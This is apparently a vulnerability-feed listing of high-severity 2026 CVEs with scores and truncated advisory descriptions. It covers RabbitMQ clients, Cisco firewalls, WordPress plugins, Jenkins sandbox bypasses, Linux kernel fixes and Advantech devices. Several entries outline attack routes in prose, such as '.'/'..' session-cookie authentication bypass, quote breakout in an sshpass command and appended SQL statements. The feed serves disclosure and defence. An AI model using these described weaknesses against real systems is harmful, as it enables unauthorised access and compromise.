CVE-2026-77410	New	8.9	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Channel.recvContent in channel.go preallocates the message body slice with the uint64 ch.header.Size value supplied by an AMQP content header without capping the allocation to the negotiated Connection.Config.FrameSize value. A malicious or compromised broker can send an extreme declared body size and cause the ...
CVE-2026-77412	New	8.9	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, readField in read.go reads the length of an AMQP byte-array field with type tag x into a signed int32 and passes the value directly to make when allocating the field buffer. A malicious or compromised broker can encode a value such as 0xFFFFFFFF, which becomes -1 and causes a len out of range runtime panic. The ...
CVE-2026-8462	New	8.9	HIGH		0.005		SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
CVE-2026-20333	New	8.8	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-20336	New	8.8	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-20340	New	8.8	HIGH				A vulnerability in Cisco Secure FMC Software could allow an authenticated, remote attacker to execute arbitrary commands at the root privilege level. This vulnerability is due to unsecured deserialization of web-management user-controlled data. An attacker could exploit this vulnerability by authenticating to the device and sending a crafted HTTP payload. A successfu...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20344	New	8.8	HIGH				A vulnerability in the web-based management interface of Cisco Secure FMC Software could allow an authenticated, remote attacker to perform a SQL injection attack against an affected device. To exploit this vulnerability, the attacker must have a valid account on the device with the role of Security Approver, Access Admin, or Network Admin. This vulnerability is due to in...
CVE-2026-20360	New	8.8	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20360 are related to information expos...
CVE-2026-20361	New	8.8	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20361 are related to SQL injection iss...
CVE-2026-27547	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/get_iodd_menu_info endpoint using valid user or operator credentials allowing execution of commands with root privileges on the device.
CVE-2026-27548	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/get_iodd_port_info endpoint using user or operator credentials allowing execution of commands with root privileges on the device.
CVE-2026-27549	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/attached_devices_tab/do_upload endpoint using operator credentials allowing execution of commands with root privileges on the device.
CVE-2026-27550	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the Field_Shadow_Password class using operator credentials allowing execution of commands with root privileges on the device.
CVE-2026-27551	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/parameterManage endpoint using user credentials allowing execution of commands with root privileges on the device.
CVE-2026-27554	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/save_iodd_parameters endpoint using operator credentials allowing execution of commands with root privileges on the device.
CVE-2026-27555	New	8.8	HIGH		0.008		A low-privileged remote attacker can exploit a local file inclusion vulnerability in the /index.php/ajax/get_iodd_port_info endpoint using a valid user cookie allowing execution of arbitrary PHP code on the device.
CVE-2026-27556	New	8.8	HIGH		0.009		A low-privileged remote attacker can exploit a local file inclusion vulnerability in the /index.php/ajax/save_iodd_parameters endpoint using a valid operator cookie allowing execution of arbitrary PHP code on the device.
CVE-2026-27558	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/attached_devices_tab/ajax_remove_uploaded_iodd_files endpoint using operator credentials allowing execution of commands with root privileges on the device.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-27559	New	8.8	HIGH		0.021		A low-privileged remote attacker can exploit a command injection vulnerability in the /api/status/data endpoint by sending a crafted GET request with user credentials allowing execution of commands with root privileges on the device.
CVE-2026-61599	New	8.8	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the djust live transport resolves the LiveView to mount from a client-supplied dotted path by calling <code>__import__(module_path, ...)</code> . The module is imported — running its top-level code (import side effects) — before the framework checks that...
CVE-2026-63506	New	8.8	HIGH				Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site's configured app. An attacker with any TinaCloud account can submit the attacker's own app ID and...
CVE-2026-73173	New	8.8	HIGH				Nozomi Networks Labs identified a CWE-306: Missing Authentication for Critical Function vulnerability in the edgserver management protocol of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to invoke critical device-management functions, including network reconfiguration, reboot, reset, and firmware upgrade, by sending crafted...
CVE-2026-76409	New	8.8	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76409 are related to improper limitati...
CVE-2026-76552	New	8.8	HIGH		0.003		The WP Import Export Lite WordPress plugin before 3.9.33 does not validate the type, extension or content of files it retrieves from a user-supplied URL during import, allowing users granted its import permission to store arbitrary files, including executable ones, on the server and achieve remote code execution.
CVE-2026-78088	New	8.8	HIGH		0.006		The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Overwrite in all versions up to, and including, 32.0.1 due to insufficient file path validation in the 'baseUrlForFacebook' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to o...
CVE-2026-82964	New	8.8	HIGH				Improper preservation of permissions in the Avast sandbox minifilter driver (aswSnx.sys) on Windows allows a local, low-privileged attacker executing inside the sandbox to escape file isolation and escalate to SYSTEM. When the sandbox virtualizes a file it copies the original security descriptor, but the driver opened the virtualization target object with GENERIC_WRITE an...
CVE-2026-84829	New	8.8	HIGH		0.002		The Optimole WordPress plugin before 4.2.12 does not properly escape a user supplied value before using it to build an image tag attribute, allowing unauthenticated users to inject arbitrary attributes into pages served to every visitor, which leads to Stored Cross-Site Scripting.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84858	New	8.8	HIGH				ScadaLTS 2.8.1-release-candidate build 0 is affected by an Authenticated Remote Code Execution via Scripting Sandbox Bypass The DWR "DataSourceEditDwr" class exposes the "validateScript" method that compiles and executes attacker-supplied JavaScript via the Rhino scripting engine. There are no authorization checks on this method and so it is possible for an attacker with ...
CVE-2026-84860	New	8.8	HIGH				ScadaLTS 2.8.1-release-candidate build 0 is affected by an Authorization Bypass Spring Security gates DWR endpoints by URL path pattern, but DWR itself dispatches method calls based on the POST body parameters c0-scriptName and c0-methodName. The crossDomainSessionSecurity setting in web.xml is set to false, which disables DWR's built-in origin validation. This means any ...
CVE-2026-85731	New	8.8	HIGH				oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, a...
CVE-2026-86792	New	8.8	HIGH		0.005		Apache Airflow Apache Kafka provider versions 1.15.0 before 2.0.0 resolve dotted-path strings found in a Kafka connection's `extra` field into Python callables via `import_string`, with no allowlist, and hand them to the confluent-kafka client which invokes them. Deployments that have enabled the Kafka event producer — `dag_run_events_enabled` or `task_instance_events_enable...
CVE-2026-87105	New	8.8	HIGH				Tanium addressed a SQL injection vulnerability in Threat Response.
CVE-2026-88064	New	8.8	HIGH				Backstage is an open framework for building developer portals. Prior to 1.14.6 and from 1.15.0 until 1.15.4, the @backstage/plugin-techdocs-node package insufficiently validates mkdocs.yml supplied by an authenticated user who can register or modify a TechDocs source. Unsafe Python YAML tags, markdown_extensions names and configuration, theme options, and extra_templates val...
CVE-2026-89084	New	8.8	HIGH				HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.
CVE-2026-89774	New	8.8	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: Bluetooth: SCO: hold sk properly in sco_conn_ready sk deref in sco_conn_ready must be done either under conn->lock, or holding a refcount, to avoid concurrent close. conn->sk and parent sk is currently accessed without either, and without checking parent->sk_state: [Task 1] [Task 2] ...
CVE-2026-89777	New	8.8	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: vfio/pci: clear vdev->msi_perm after freeing it on init failure vfio_msi_cap_len() lazily allocates the per-device MSI permission table: vdev->msi_perm = kmalloc_obj(struct perm_bits, GFP_KERNEL_ACCOUNT); if (!vdev->msi_perm) return -ENOMEM; ret = init_pci_cap_msi_perm(vdev->msi_perm, len, flags); ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89804	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/dmem: fix mismatched DMA unmap size for large folios Device-private THP migration maps migration buffers with page_size() and records that length in dma_info->size. For a compound folio page_size() is PAGE_SIZE << order, but two teardown sites still pass a literal PAGE_SIZE to dma_unmap_page()...
CVE-2026-89811	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Add TLB flush after MES queue eviction/suspension MES (Micro Engine Scheduler) does not perform heavy-weight TLB invalidation after unmapping queues, unlike HWS which does this automatically. This causes a race condition where in-flight DMA descriptors can access memory that has been unmapped, ...
CVE-2026-89844	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold vport_slock for host map update in report ID acquisition qla24xx_report_id_acquisition() format-1 handling drops vport_slock after taking the vport reference and then calls qla_update_host_map() without the lock. That reaches qla_update_vp_map(), which mutates the ha->host_map btree via...
CVE-2026-89849	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Reject non-SCSI SRB on status IOCB fast path qla2x00_status_entry() filters out non-TYPE_SRB entries and the SRB_NVME_CMD, SRB_BIDI_CMD and SRB_TM_CMD types, then falls through to a SCSI fast path that assumes the command is an SRB_SCSI_CMD. The first thing on that path, qla_chk_edif_rx_sa_d...
CVE-2026-89860	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Initialize NVMe abort_work once at submission qla_nvme_fcp_abort() and qla_nvme_ls_abort() ran INIT_WORK() on priv->abort_work immediately before schedule_work(). INIT_WORK() reinitializes the work_struct, resetting its list head and clearing the pending bit. If an abort is issued more than ...
CVE-2026-89898	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: cec: extron-da-hd-4k-plus: add sanity check Add check to prevent overflowing msg.msg[] in case the incoming data is malformed.
CVE-2026-89907	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Validate MSI data before routing it to EIOINTC pch_msi_set_irq() passes e->msi.data straight into eiointc_set_irq() as the irq number. The MSI data comes from userspace, that either via a KVM_IRQ_ROUTING_MSI entry set with KVM_SET_GSI_ROUTING (used by irqfd and KVM_IRQ_LINE) or directly via...
CVE-2026-89908	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Preserve memslot arch flags on KVM_MR_FLAGS_ONLY kvm_arch_prepare_memory_region() computes new->arch.flags, i.e. whether a memslot is KVM_MEM_HUGEPAGE_CAPABLE or KVM_MEM_HUGEPAGE_INCAPABLE, only for KVM_MR_CREATE and KVM_MR_MOVE, and returns early for every other change. But the generic cod...
CVE-2026-89913	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: vgic-v3: take an LPI reference in vgic_v3_save_pending_tables vgic_v3_save_pending_tables() iterates dist->lpi_xa using xa_for_each() and dereferences the returned struct vgic_irq in the loop body without holding a reference on the LPI. The xarray iterator only provides temporary RCU coverage ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89928	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: Consume the locked rmap value in the lockless rmap walk __kvm_rmap_lock() deliberately elides the rmap lock when it observes an empty rmap. In that case kvm_rmap_lock_readonly() also re-enables preemption and returns zero, so the caller holds neither the rmap lock nor a preemption reference....
CVE-2026-89929	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: nVM: Ensure INVVPID is emulated on the correct physical CPU When emulating INVVPID, KVM executes INVVPID on the physical CPU using vpid02 (instead of the L1 assigned VPID), after doing some validations on the operands. However, it is possible that the physical CPU KVM executes INVVPID on is different ...
CVE-2026-89932	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Always flush vpid02 on first use Make sure vpid02 is always flushed on first use by setting last_vpid=0 when allocating vpid02. nested_vmx_transition_tlb_flush() will always detect a VPID change on first VM-Enter after VMXON, because VPID=0 in vmcs12 is not allowed if L1 enables VPID. This avo...
CVE-2026-89951	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: batman-adv: fix stale receive device on merged fragments Fragment reassembly reuses the skb from the highest-numbered buffered fragment as the merged packet. When that fragment was received on a hard interface which is deleted before the chain completes, the merged skb can re-enter the receive path with a ...
CVE-2026-89957	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix hot-unplug skipped when last AP adapter or domain removed The vfio_ap_mdev_hot_unplug_cfg() function uses the return value of bitmap_andnot() to determine whether the guest APGB needs to be updated. However, bitmap_andnot() returns false when the resulting destination bitmap is empty. Thi...
CVE-2026-89959	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix control domain removal in vfio_ap_mdev_cfg_remove The vfio_ap_config_remove function uses the bitmap_andnot function to clear bits from the matrix_mdev->matrix.adm bitmap (specifies the control domains assigned to the mdev). This prevents the explicitly unplugged control domains from bein...
CVE-2026-89960	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: fix stale pqap_hook pointer on error in vfio_ap_mdev_set_kvm() In vfio_ap_mdev_set_kvm(), kvm->arch.crypto.pqap_hook is set to &matrix_mdev->pqap_hook before the update locks are acquired and the mdev list is checked for a conflicting assignment. If another mdev is already attached to the sam...
CVE-2026-89995	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: dma-direct: return struct page from dma_direct_alloc_from_pool() Commit 5b138c534fda ("dma-direct: factor out a dma_direct_alloc_from_pool helper") changed dma_direct_alloc_from_pool() to return the CPU address from dma_alloc_from_pool(). That fits dma_direct_alloc(), but dma_direct_alloc_pages() also uses...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90000	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: HID: rmi: fix OOB access with undersized RMI reports The hid-rmi driver sizes its writeReport/readReport buffer purely from the report descriptor supplied by the device, with no minimum bound: data->input_report_size = hid_report_len(input_report); data->output_report_size = hid_report_len(output_repor...
CVE-2026-90018	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read / stack overflow in rtw_get_wps_attr() rtw_get_wps_attr() walks WPS attributes inside a WPS IE taken from a wireless management frame. For each candidate attribute it only checks that the fixed 4-byte attribute header (2-byte ID + 2-byte length) fits inside the IE: if (at...
CVE-2026-90041	New	8.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: HID: sony: clean up device list on probe failure sony_input_configured() adds some controllers to sony_device_list before HID core registers their input devices. input_register_device() can fail after the callback returns successfully. sony_probe() then observes that HID_CLAIMED_INPUT is clear and unwinds,...
CVE-2026-92122	New	8.8	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not check the method called through the proxy created when a sandboxed script coerces a value to an interface, if the value inherits a method of the same name as an interface method, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protectio...
CVE-2026-92123	New	8.8	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not intercept operations performed on a null receiver (method calls, property and attribute accesses, and array accesses), allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins c...
CVE-2026-92124	New	8.8	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier checks the operations Groovy will perform with the elements it reads from a collection that a sandboxed script casts to another type but performs the cast on the collection itself, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and e...
CVE-2026-92125	New	8.8	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not reject the @GroovyASTTransformationClass annotation, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to run an arbitrary AST transformation at compile time, bypassing the sandbox protection and executing arbitrary code in the context of the Jenkins controle...
CVE-2026-92137	New	8.8	HIGH				Jenkins Robot Framework Plugin 6.2.2 and earlier does not check that the archive directory configured for Robot Framework report files is contained within the build directory on the Jenkins controller, allowing attackers with Item/Configure permission to create or replace arbitrary files on the Jenkins controller file system with attacker-specified content, which can lead to...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92466	New	8.8	HIGH				zlt2000 microservices-platform through 6.0.0 contains a missing authorization vulnerability where the zlt.security.auth.urlPermission.enable flag defaults to false, disabling all permission checks after authentication. Authenticated users with no roles can access administrative APIs including user management, role assignment, and Elasticsearch index operations by bypassing t...
CVE-2026-92566	New	8.8	HIGH				DataGear through 6.0.0 contains a server-side request forgery vulnerability in the /dataSet/preview/Http endpoint that allows unauthenticated attackers to execute arbitrary HTTP requests by supplying a caller-controlled URI. Attackers can issue GET, POST, PUT, PATCH, or DELETE requests to internal endpoints and cloud metadata services, receiving full response bodies without ...
CVE-2026-92580	New	8.8	HIGH				In AVideo through 29.0, the CloneSite plugin is vulnerable to stored OS command injection. In plugin/CloneSite/cloneClient.json.php (line ~270) the stored SSH password is substituted into the command string `sshpass -p '{password}' rsync ...` with a plain str_replace and no escaping, so a single quote in the password breaks out of the quoted word and injects arbitrary shell....
CVE-2026-92748	New	8.8	HIGH				BC Security Empire before 6.7.1 fails to validate the multipart filename parameter in upload endpoints, allowing authenticated operators to write files to arbitrary paths on the C2 server. Attackers can use path traversal sequences in the filename to bypass directory containment and write malicious files to sensitive locations for code execution.
CVE-2026-92761	New	8.8	HIGH				WebVirtCloud fails to properly validate permission flags in UserInstance grants, allowing view-only users to perform privileged actions. Attackers with read-only grants can power off virtual machines, reset root passwords, install SSH keys, and manage ISO images by exploiting the get_instance gate that only checks grant existence.
CVE-2026-92762	New	8.8	HIGH				Pelican Panel versions before 1.0.0-beta35 enforce startup write permissions only through disabled form controls rather than server-side authorization checks. Attackers with startup.read permission can craft Livewire state updates to invoke afterStateUpdated callbacks and modify startup commands, docker images, and variables to execute arbitrary commands in the container.
CVE-2026-92796	New	8.8	HIGH				Manticore Search versions 27.0.0 before 28.4.4 fail to validate permissions for all statements in multi-statement SQL requests, allowing read-only users to execute unauthorized queries. Attackers can append additional SELECT statements after the first statement to read credential tables and obtain password hashes that authenticate as administrators without plaintext recovery.
CVE-2026-40854	New	8.7	HIGH				WNC T-Mobile 5G Box IDU router contains an authentication bypass vulnerability in the portal.cgi component. The session verification mechanism improperly validates the sessionid cookie by checking for the existence of a corresponding file in /tmp/login_user. An attacker can bypass authentication by using directory entries such as "." or ".." in the cookie, allowing unauthori...
CVE-2026-47094	New	8.7	HIGH				SIMAC MyPHR 1.1 contains an insecure direct object reference (IDOR) vulnerability that allows authenticated attackers to access and modify arbitrary employee records due to missing server-side ownership validation. Attackers can send a PUT request to the employee update endpoint with an arbitrary employee identifier and a controlled password value to take over target account...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73174	New	8.7	HIGH				Nozomi Networks Labs identified a CWE-319: Cleartext Transmission of Sensitive Information vulnerability in the edgserver management protocol of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a network-adjacent passive observer to intercept management traffic and recover sensitive device identity and network metadata in cleartext.
CVE-2026-73464	New	8.7	HIGH		0.005		On affected platforms running Arista EOS with gRPC Network Management Interface (gNMI) enabled, a specially crafted request could allow a malicious authenticated client with gRPC Network Management Interface (gNMI) access to execute arbitrary code with root privileges on the switch.
CVE-2026-75516	New	8.7	HIGH				The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.34.0, AMQConnection.start() applies Math.min(maxInboundMessageBodySize, frameMax) after Connection.Tune negotiation even though AMQP defines frameMax value zero as unlimited and ConnectionFactory.DEFAULT_FRAME_MAX is zero. When the client default...
CVE-2026-77404	New	8.7	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, URI.String in uri.go concatenates CertFile, KeyFile, CACertFile, and ServerName values directly into an AMQPS query string instead of encoding them as URL query parameters with url.Values. If an application accepts a TLS asset path containing ampersand or equals delimiters and later reparses the serialized URI w...
CVE-2026-82410	New	8.7	HIGH				Pocketbase is an open source web backend written in go. Prior to 0.22.48 and 0.39.7, PocketBase's panic-recovery middleware covers regular request handling but not internal child and worker goroutines. A panic in one of these internal goroutines can escape recovery and terminate the server process, causing a denial of service. The remediation introduces routine.SafeWrap to c...
CVE-2026-84408	New	8.7	HIGH		0.011		QND contains an improper access control vulnerability in a named pipe, which may allow a local attacker who is logged in to a Windows PC where the affected product's client is installed to execute arbitrary commands with SYSTEM privileges.
CVE-2026-86106	New	8.7	HIGH				An unauthenticated actor with network access to the private HA interconnect may trigger sensitive HA peer functions without verification. This could result in elevated command execution on Edge units where HA is enabled.
CVE-2026-86831	New	8.7	HIGH				Improper validation of pod identifier uniqueness in aws-network-policy-agent in Amazon EKS Network Policy Agent before v1.4.0 might allow an authenticated remote user to bypass NetworkPolicy enforcement on co-located pods in other namespaces via crafted pod and namespace names that produce pod identifier collisions. To remediate this issue, users should upgrade to Amazon ...
CVE-2026-88263	New	8.7	HIGH		0.006		XikeStor Layer3 switches miss authentication for downloading configuration data. Unauthenticated attacker may retrieve the configuration data containing network configurations and passwords to operate the affected product improperly or to exploit the affected product as a jump host.
CVE-2026-88817	New	8.7	HIGH				An authenticated, non-guest user of Curiosity Workspace could enroll themselves as an administrator and member of an existing access group without an invitation or approval. It did not grant application-wide administrator privileges, and the vulnerability could not be used to obtain root access to the application or its underlying host.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92355	New	8.7	HIGH		0.007		In affected versions of Octopus Server, a user with permission to modify non built-in external feeds could exploit a path traversal flaw to overwrite arbitrary files on the server, which in some configurations could lead to remote code execution.
CVE-2026-92577	New	8.7	HIGH				In AVideo through 29.0, the API get_api_video endpoint contains a broken access control vulnerability in the clean_title branch that returns user-group-restricted videos with owner PII to anonymous callers. Attackers can query videos by their public slug to bypass group restrictions and retrieve sensitive user fields including email, phone, address, birth date, and administr...
CVE-2026-92592	New	8.7	HIGH				Craft CMS 4.8.0 through 4.18.5 and 5.0.0 through 5.10.12 sign an authenticated user's attacker-controlled license-shun cookie with the same key and format used to validate signed redirect parameters, because the HMAC signature is not bound to its purpose (Yii's cookieValidationKey is derived from the same Craft securityKey used for signed request parameters). An authenticate...
CVE-2026-92593	New	8.7	HIGH				Craft CMS versions 5.10.0 through 5.10.12 contain an incomplete fix for CVE-2026-55794: the Controller::getPostedRedirectUrl() -> View::renderObjectTemplate() sink remained unsandboxed, and the same fix commit added a self-signing oracle in Cp::elementLabelHtml(). Because Craft/Yii HMAC tokens are not bound to a parameter name, an authenticated low-privilege control panel us...
CVE-2026-92596	New	8.7	HIGH				Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.
CVE-2026-92780	New	8.7	HIGH				KnowStreaming through 3.4.1 fails to enforce role-based access control on REST API endpoints, allowing any authenticated user to access protected functionality. Attackers can call identity-management endpoints to create administrator accounts or grant themselves administrative privileges without proper authorization.
CVE-2026-92788	New	8.7	HIGH				Coze Studio through 0.5.1 fails to validate that table names in workflow SQL customization nodes belong to the caller's workspace. Authenticated attackers can enumerate predictable table identifiers and execute SQL statements against other workspaces' memory databases to read, insert, or delete data.
CVE-2026-92794	New	8.7	HIGH				OpenSign through 2.41.3 fails to validate caller identity in the getDocument cloud function when one-time-password verification is disabled. Attackers can supply a document identifier from guest signing links to retrieve complete document details including all signers' information, sender identity, and valid download tokens without authentication.
CVE-2026-92801	New	8.7	HIGH				cc-connect through 1.5.0 fails to enforce per-user allowlist filtering in the onCardAction handler for Feishu interactive card callbacks. Attackers can dispatch agent commands by triggering card actions in admitted chats, bypassing the per-user access controls that protect the text message handler.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92815	New	8.7	HIGH				changedetection.io through 0.60.6 fails to validate the Goto URL action in browser steps, allowing unauthenticated attackers to access internal addresses. Attackers can supply arbitrary internal URLs in the optional_value parameter to retrieve responses from restricted network locations.
CVE-2026-19535	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-352: Cross-Site Request Forgery (CSRF) vulnerability in the LuCI administrative web interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote unauthenticated attacker to perform unauthorized state-changing requests on behalf of a logged-in administrator, enabling unauthorized access to privileged management f...
CVE-2026-20135	New	8.6	HIGH				A vulnerability in the TLS 1.3 implementation in Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to improper buffer management during the TLS 1.3 connection. An attacker could exploit this vulne...
CVE-2026-20154	New	8.6	HIGH				A vulnerability in the system rate-limiting process for syslog message 419002 of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause high CPU utilization on an affected device, resulting in a denial of service (DoS) condition. This vulnerability is...
CVE-2026-20249	New	8.6	HIGH				A vulnerability in the certification authentication feature of Internet Key Exchange version 2 (IKEv2) for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly. This vulnerability is due to a logic erro...
CVE-2026-20250	New	8.6	HIGH				A vulnerability in Datagram TLS (DTLS) message handling of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software for Cisco Secure Firewall 3100 Series and 4200 Series devices could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerabili...
CVE-2026-20295	New	8.6	HIGH				A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software and Cisco Secure FTD Software could allow an unauthenticated, remote attacker to exhaust the available memory of an affected device. This vulnerability is due to improper management of memory resources during sftunnel TLS connection setup. An attacker could exploit this vulner...
CVE-2026-20352	New	8.6	HIGH				A vulnerability in the RADIUS feature of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper handling of certain RADIUS requests. An attacker could exploit this vulnerability by sending a crafted RADIUS request directly to an affected ...
CVE-2026-73163	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73164	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.
CVE-2026-73165	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.
CVE-2026-73166	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-94: Improper Control of Generation of Code ('Code Injection') vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary code on the device, including OS commands as root.
